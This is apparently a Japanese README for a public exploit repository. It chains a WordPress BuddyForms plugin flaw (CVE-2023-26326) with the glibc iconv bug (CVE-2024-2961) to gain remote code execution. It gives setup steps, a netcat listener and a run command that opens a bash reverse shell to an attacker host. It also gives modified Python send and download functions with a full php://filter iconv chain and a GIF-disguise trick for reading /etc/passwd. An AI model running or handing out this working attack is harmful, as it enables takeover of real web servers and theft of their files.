
WordPress BuddyFormsプラグインにおけるCVE-2023-26326のエクスプロイトで、CVE-2024-2961を利用してリモートコード実行を行います。このエクスプロイトは、php://filterと脆弱性を連鎖させることで、PHP 8以降のデシリアライズ制限を回避します。
この作業は、私 Omar Elshopky と Nour El Dien Bassiouny によって行われました。
このリポジトリには、WordPress BuddyForms プラグイン (CVE-2023-26326) のエクスプロイトが含まれています。この脆弱性は、Joshua Martinelle によるアドバイザリで最初に報告されました。このエクスプロイトは、Iconv、文字セットを RCE に設定: glibc を悪用して PHP エンジンをハッキングするブログで提案された手法を利用しており、@ambionics によって cnext-exploits リポジトリで実装されました。
当初、CVE-2023–26326 は、デシリアライゼーションの脆弱性として悪用するためにガジェットチェーンを必要としていました。この方法は、PHP 8+ で動作する新しい WordPress サイトではもはや実行不可能です。しかし、CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) と連鎖させることで、phar:// の代わりに php://filter を通じてエクスプロイトが可能になります。
このエクスプロイトは、cnext-exploit.py スクリプトを変更して作成され、CVE-2023-26326 に必要な変更が組み込まれています。詳細は変更内容を参照してください。
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> で netcat リスナーを起動します:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


CVE-2024-2961 エクスプロイトの核となるアイデアは維持されていますが、フィルターチェーンをウェブサイトに送信し、サーバーからファイルをダウンロードするために修正が必要でした。
元のエクスプロイトでは、send 関数を使用してパスをサーバーに送信します:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
WordPress と BuddyForms の場合、デフォルトでは /wp-admin/admin-ajax.php への POST リクエストを介して対話が行われ、ボディデータには action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif が含まれます。URL パラメータが、フィルターチェーンをサーバーに送信するためのインジェクションポイントとして機能します。その結果、send 関数は次のように変更されました:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
元のエクスプロイトには、サーバーからファイルをダウンロードする download 関数がありました。元のエクスプロイトでは、次のバージョンの download 関数が使用されています:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
これを BuddyForms に適応させるため、URL からの画像アップロードを処理する buddyforms_upload_image_from_url 関数を分析します。この関数は file_get_contents を使用し、getimagesize() でファイルタイプをチェックした後、コンテンツを wp-content/uploads ディレクトリに保存します。これにより、php://filter を悪用してローカルファイルを読み取り、アップロードディレクトリに保存して URL 経由でアクセスできるようにすることが可能になります。ただし、ファイルチェックを回避するには、ファイルコンテンツの先頭に GIF89a を付加して GIF として偽装する必要があります。これはフィルターチェーンを使用して行うことができ、wrapwrap ツールが必要なチェーンを生成できます:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

この生成されたフィルターチェーンは、元のスクリプトで使用されていた base64 エンコーディングを置き換える必要があります。さらに、レスポンスからアップロードされたファイルパスを抽出する形式も、ファイルパスに設定された "response" 属性を含む JSON 形式に対応するよう更新する必要があります。
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
エクスプロイトでファイルコンテンツを使用する前に、プレフィックス GIF89a を削除する必要があることに注意してください。その結果、download 関数は次のように変更されました:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6 のダウンロードサーバーから libc.so.6 ファイルをダウンロードする場合、処理中にバイナリが変更されるため、フィルターチェーンと正しく動作しない可能性があることに注意してください。代わりに、正しいファイルをエクスプロイトのルートディレクトリに配置する必要があります。